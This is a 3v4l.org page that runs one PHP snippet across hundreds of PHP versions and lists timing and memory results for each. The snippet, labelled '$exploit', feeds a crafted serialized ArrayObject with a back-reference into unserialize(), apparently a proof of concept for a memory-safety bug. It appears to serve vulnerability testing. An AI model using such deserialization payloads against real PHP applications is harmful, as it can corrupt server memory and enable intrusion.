3v4l.org

run code in 300+ PHP versions simultaneously
<?php $inner = 'x:i:1;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0000.01518.30
8.3.50.0130.00521.17
8.3.40.0150.00718.90
8.3.30.0040.01118.67
8.3.20.0040.00420.16
8.3.10.0080.00023.65
8.3.00.0070.00320.42
8.2.180.0140.00718.43
8.2.170.0030.01422.96
8.2.160.0070.01319.16
8.2.150.0050.00324.18
8.2.140.0050.00324.66
8.2.130.0090.00026.16
8.2.120.0030.00617.50
8.2.110.0030.01321.00
8.2.100.0090.00317.63
8.2.90.0000.00819.17
8.2.80.0040.00417.97
8.2.70.0000.00817.63
8.2.60.0070.00417.93
8.2.50.0060.00318.07
8.2.40.0080.00021.10
8.2.30.0040.00419.96
8.2.20.0040.00417.81
8.2.10.0070.00018.00
8.2.00.0020.00518.14
8.1.280.0100.01025.92
8.1.270.0040.00420.27
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0060.00323.97
8.1.230.0040.00817.78
8.1.220.0000.00817.78
8.1.210.0050.00318.77
8.1.200.0030.00617.48
8.1.190.0000.00817.13
8.1.180.0020.00518.10
8.1.170.0040.00418.63
8.1.160.0040.00422.12
8.1.150.0040.00418.88
8.1.140.0030.00517.46
8.1.130.0040.00417.71
8.1.120.0040.00417.38
8.1.110.0040.00417.37
8.1.100.0050.00317.36
8.1.90.0030.00417.47
8.1.80.0020.00517.32
8.1.70.0000.00717.42
8.1.60.0030.00617.55
8.1.50.0050.00317.38
8.1.40.0040.00417.44
8.1.30.0030.00617.63
8.1.20.0000.00817.70
8.1.10.0030.00717.57
8.1.00.0030.00617.40
8.0.300.0080.00018.77
8.0.290.0080.00016.75
8.0.280.0030.00318.46
8.0.270.0030.00317.25
8.0.260.0000.00717.20
8.0.250.0040.00317.03
8.0.240.0000.00617.07
8.0.230.0030.00317.08
8.0.220.0030.00316.97
8.0.210.0000.00716.95
8.0.200.0000.00717.04
8.0.190.0040.00417.02
8.0.180.0050.00216.89
8.0.170.0050.00317.00
8.0.160.0040.00416.99
8.0.150.0070.00016.99
8.0.140.0050.00316.91
8.0.130.0000.00713.29
8.0.120.0030.00616.83
8.0.110.0000.00916.85
8.0.100.0050.00216.80
8.0.90.0050.00316.99
8.0.80.0070.00717.01
8.0.70.0050.00216.95
8.0.60.0040.00416.92
8.0.50.0040.00416.80
8.0.30.0110.00817.21
8.0.20.0090.01117.42
8.0.10.0000.00716.89
8.0.00.0150.00316.71
7.4.330.0000.00515.21
7.4.320.0000.00616.63
7.4.300.0000.00616.52
7.4.290.0070.00016.55
7.4.280.0040.00416.59
7.4.270.0030.00316.38
7.4.260.0090.00016.59
7.4.250.0040.00416.55
7.4.240.0020.00516.40
7.4.230.0050.00316.36
7.4.220.0130.01016.48
7.4.210.0030.01316.62
7.4.200.0000.00716.66
7.4.160.0030.01316.50
7.4.150.0090.00917.40
7.4.140.0080.00917.86
7.4.130.0090.00916.58
7.4.120.0140.00516.55
7.4.110.0200.00316.50
7.4.100.0070.01116.45
7.4.90.0040.01316.61
7.4.80.0030.01719.39
7.4.70.0090.00916.68
7.4.60.0060.01016.40
7.4.50.0090.00016.39
7.4.40.0120.00616.50
7.4.30.0070.01316.40
7.4.00.0070.01015.25
7.3.330.0030.00313.23
7.3.320.0030.00313.10
7.3.310.0000.00716.26
7.3.300.0030.00316.32
7.3.290.0120.00816.38
7.3.280.0060.01516.38
7.3.270.0060.01017.40
7.3.260.0100.01016.43
7.3.250.0120.00716.49
7.3.240.0070.01116.46
7.3.230.0100.01416.45
7.3.210.0090.00916.39
7.3.200.0060.01316.39
7.3.190.0060.01216.42
7.3.180.0120.00416.38
7.3.170.0120.00916.44
7.3.160.0040.01516.38
7.3.10.0030.01016.63
7.3.00.0130.00316.53
7.2.330.0040.01516.65
7.2.320.0030.01316.74
7.2.310.0100.01316.66
7.2.300.0150.00916.71
7.2.290.0100.00716.65
7.2.130.0040.01416.64
7.2.120.0040.01416.95
7.2.110.0040.00716.95
7.2.100.0070.00417.06
7.2.90.0070.00716.66
7.2.80.0080.00416.95
7.2.70.0040.00716.70
7.2.60.0010.01316.96
7.2.50.0120.00317.00
7.2.40.0080.00616.76
7.2.30.0070.00716.97
7.2.20.0120.00316.65
7.2.10.0030.00716.76
7.2.00.0050.01118.22
7.1.250.0080.00416.05
7.1.200.0000.01115.98
7.1.100.0040.00718.46
7.1.70.0000.00717.20
7.1.60.0120.01219.18
7.1.50.0100.01416.79
7.1.00.0070.07322.32
7.0.200.0190.00616.71
7.0.60.0030.08020.04
7.0.50.0000.04317.88
7.0.40.0130.08320.04
7.0.30.0430.04020.16
7.0.20.0400.06720.20
7.0.10.0070.08020.12
7.0.00.0100.03720.08
5.6.280.0000.03721.02
5.6.210.0100.04020.54
5.6.200.0070.08318.18
5.6.190.0070.07320.49
5.6.180.4030.04020.27
5.6.170.0330.05320.45
5.6.160.0070.04720.61
5.6.150.0100.09018.18
5.6.140.0070.04718.16
5.6.130.0100.07018.09
5.6.120.0000.04721.14
5.6.110.0030.09020.99
5.6.100.0130.08320.97
5.6.90.0100.07321.11
5.6.80.0070.06320.51
5.5.350.0070.06720.50
5.5.340.0070.03717.94
5.5.330.0000.04320.40
5.5.320.0030.04020.50
5.5.310.0200.04320.17
5.5.300.0070.04717.84
5.5.290.0130.04717.92
5.5.280.0070.05320.89
5.5.270.0000.05020.66
5.5.260.0070.04720.73
5.5.250.0100.05320.77
5.5.240.0070.03720.13
5.4.450.0100.06319.54
5.4.440.0130.06019.29
5.4.430.0170.06319.46
5.4.420.0670.07019.27
5.4.410.0830.06719.50
5.4.400.0570.06318.95
5.4.390.0370.05319.28
5.4.380.0130.05318.85
5.4.370.0030.07319.16
5.4.360.0770.05719.16
5.4.350.0930.05019.18
5.4.340.0930.05018.99
5.4.320.0830.05719.13
5.4.310.1070.04019.15
5.4.300.0700.05019.13
5.4.290.0300.05319.08
5.4.280.0200.04718.77
5.4.270.0070.05719.25
5.4.260.0800.06319.12
5.4.250.0700.05718.80
5.4.240.1030.06719.29
5.4.230.1000.06718.94
5.4.220.1100.03719.08
5.4.210.0870.05018.85
5.4.200.0930.05716.60
5.4.190.1000.07718.73
5.4.180.0900.05319.11
5.4.170.1000.04718.73
5.4.160.0800.05019.05
5.4.150.0730.06018.77
5.4.140.0830.04716.30
5.4.130.0770.05316.26
5.4.120.0770.05716.34
5.4.110.0600.04716.49
5.4.100.0130.04716.28
5.4.90.0100.04716.16
5.4.80.0130.04716.17
5.4.70.0570.05016.25
5.4.60.0800.05716.06
5.4.50.0800.04716.20
5.4.40.0800.07716.46
5.4.30.1030.05316.24
5.4.20.1030.05716.14
5.4.10.0830.05716.19
5.4.00.0800.05715.58
5.3.290.0900.06714.52
5.3.280.1000.06014.58
5.3.270.0970.05014.71
5.3.260.0900.08014.45
5.3.250.0930.06014.62
5.3.240.0970.07014.56
5.3.230.1000.05314.44
5.3.220.1030.06314.43
5.3.210.0770.06014.41
5.3.200.0930.06014.45
5.3.190.0870.05714.51
5.3.180.0730.04714.23
5.3.170.0800.05714.29
5.3.160.0800.04714.24
5.3.150.0900.04714.48
5.3.140.0870.06314.19
5.3.130.0970.06714.32
5.3.120.0930.06314.31
5.3.110.0930.06714.32
5.3.100.0800.06713.82
5.3.90.0870.07313.82
5.3.80.0870.04313.77
5.3.70.0930.05013.62
5.3.60.1130.06713.60
5.3.50.0900.05013.61
5.3.40.0900.06313.57
5.3.30.1100.04713.53
5.3.20.0800.05013.41
5.3.10.0630.06713.27
5.3.00.1070.05313.33
5.2.170.0670.04710.99
5.2.160.0770.05311.09
5.2.150.0770.04711.20
5.2.140.0770.03311.16
5.2.130.0630.05311.00
5.2.120.0530.04010.95
5.2.110.0630.04010.96
5.2.100.0670.04010.90
5.2.90.0800.03710.92
5.2.80.0770.04310.94
5.2.70.0770.04010.89
5.2.60.0630.03711.00
5.2.50.0630.05310.87
5.2.40.0530.04310.84
5.2.30.0570.04710.91
5.2.20.0600.04710.79
5.2.10.0500.04010.87
5.2.00.0570.05010.62
5.1.60.0530.0309.88
5.1.50.0530.03710.07
5.1.40.0570.03710.05
5.1.30.0530.04710.24
5.1.20.0470.05010.25
5.1.10.0500.04710.22
5.1.00.0500.0439.96
5.0.50.0270.0378.45
5.0.40.0300.0308.34
5.0.30.0230.0438.11
5.0.20.0230.0278.26
5.0.10.0270.0338.32
5.0.00.0400.0378.38
4.4.90.0300.0207.87
4.4.80.0170.0277.87
4.4.70.0230.0237.87
4.4.60.0300.0177.87
4.4.50.0230.0207.87
4.4.40.0130.0437.87
4.4.30.0170.0307.87
4.4.20.0200.0307.87
4.4.10.0230.0307.87
4.4.00.0230.0377.87
4.3.110.0270.0237.87
4.3.100.0170.0277.87
4.3.90.0270.0137.87
4.3.80.0200.0437.87
4.3.70.0200.0207.87
4.3.60.0300.0137.87
4.3.50.0270.0207.87
4.3.40.0330.0307.87
4.3.30.0100.0277.87
4.3.20.0130.0307.87
4.3.10.0070.0277.87
4.3.00.0070.0207.27

preferences:
63.85 ms | 401 KiB | 5 Q